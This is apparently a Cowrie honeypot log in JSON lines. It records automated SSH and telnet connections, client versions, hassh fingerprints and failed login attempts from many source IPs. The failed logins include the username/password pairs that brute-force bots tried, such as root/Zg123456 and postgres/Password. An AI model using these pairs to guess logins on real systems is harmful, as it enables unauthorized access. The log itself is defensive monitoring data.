{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:26.668575Z","src_ip":"194.59.206.2","session":"e5ee920ce586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:26.763545Z","src_ip":"194.59.206.2","session":"e5ee920ce586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":42652,"dst_ip":"10.17.0.5","dst_port":22,"session":"084802cffceb","protocol":"ssh","message":"New connection: 200.90.8.86:42652 (10.17.0.5:22) [session: 084802cffceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:29.158133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:29.163013Z","src_ip":"200.90.8.86","session":"084802cffceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:29.269241Z","src_ip":"200.90.8.86","session":"084802cffceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Pa$$w0rd","message":"login attempt [ftpuser/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:29.718928Z","src_ip":"200.90.8.86","session":"084802cffceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:30.827275Z","src_ip":"200.90.8.86","session":"084802cffceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":47700,"dst_ip":"10.17.0.5","dst_port":22,"session":"10813e4d3ab2","protocol":"ssh","message":"New connection: 5.182.83.231:47700 (10.17.0.5:22) [session: 10813e4d3ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:31.566077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:31.570527Z","src_ip":"5.182.83.231","session":"10813e4d3ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:31.682879Z","src_ip":"5.182.83.231","session":"10813e4d3ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Password","message":"login attempt [postgres/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:32.160459Z","src_ip":"5.182.83.231","session":"10813e4d3ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:33.275304Z","src_ip":"5.182.83.231","session":"10813e4d3ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":47664,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dca051604fa","protocol":"ssh","message":"New connection: 210.90.155.178:47664 (159.203.135.109:22) [session: 2dca051604fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:38.701953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:38.706858Z","src_ip":"210.90.155.178","session":"2dca051604fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:38.910243Z","src_ip":"210.90.155.178","session":"2dca051604fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zg123456","message":"login attempt [root/Zg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:39.750256Z","src_ip":"210.90.155.178","session":"2dca051604fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:40.954549Z","src_ip":"210.90.155.178","session":"2dca051604fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":36472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca4ba28b3306","protocol":"ssh","message":"New connection: 45.114.124.44:36472 (10.17.0.5:22) [session: ca4ba28b3306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:46.298444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:46.306067Z","src_ip":"45.114.124.44","session":"ca4ba28b3306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:46.529506Z","src_ip":"45.114.124.44","session":"ca4ba28b3306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456789","message":"login attempt [root/Admin@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:47.398176Z","src_ip":"45.114.124.44","session":"ca4ba28b3306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:48.621682Z","src_ip":"45.114.124.44","session":"ca4ba28b3306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":40554,"dst_ip":"10.17.0.5","dst_port":22,"session":"73762aa1d19c","protocol":"ssh","message":"New connection: 220.247.224.226:40554 (10.17.0.5:22) [session: 73762aa1d19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:24.418043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:24.426613Z","src_ip":"220.247.224.226","session":"73762aa1d19c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:24.642112Z","src_ip":"220.247.224.226","session":"73762aa1d19c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karan","password":"karan@123","message":"login attempt [karan/karan@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:25.521227Z","src_ip":"220.247.224.226","session":"73762aa1d19c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:26.746686Z","src_ip":"220.247.224.226","session":"73762aa1d19c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":58514,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfc26f70f9f0","protocol":"ssh","message":"New connection: 103.148.100.146:58514 (159.203.135.109:22) [session: bfc26f70f9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:46.730295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:46.734893Z","src_ip":"103.148.100.146","session":"bfc26f70f9f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:47.001801Z","src_ip":"103.148.100.146","session":"bfc26f70f9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:48.090620Z","src_ip":"103.148.100.146","session":"bfc26f70f9f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:49.360521Z","src_ip":"103.148.100.146","session":"bfc26f70f9f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":44350,"dst_ip":"159.203.135.109","dst_port":22,"session":"b45a89f6d322","protocol":"ssh","message":"New connection: 103.77.242.62:44350 (159.203.135.109:22) [session: b45a89f6d322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:54.008625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:54.013500Z","src_ip":"103.77.242.62","session":"b45a89f6d322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":44332,"dst_ip":"159.203.135.109","dst_port":23,"session":"9832f15bc75b","protocol":"telnet","message":"New connection: 79.139.59.21:44332 (159.203.135.109:23) [session: 9832f15bc75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:54.020136Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:54.263937Z","src_ip":"103.77.242.62","session":"b45a89f6d322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"utn05wwy","message":"login attempt [root/utn05wwy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:55.013572Z","src_ip":"103.77.242.62","session":"b45a89f6d322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:14:56.265368Z","src_ip":"103.77.242.62","session":"b45a89f6d322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":57994,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0cfc7a525f6","protocol":"ssh","message":"New connection: 200.90.8.86:57994 (10.17.0.5:22) [session: b0cfc7a525f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:10.584372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:10.588918Z","src_ip":"200.90.8.86","session":"b0cfc7a525f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:10.691396Z","src_ip":"200.90.8.86","session":"b0cfc7a525f6","protocol":"ssh"}
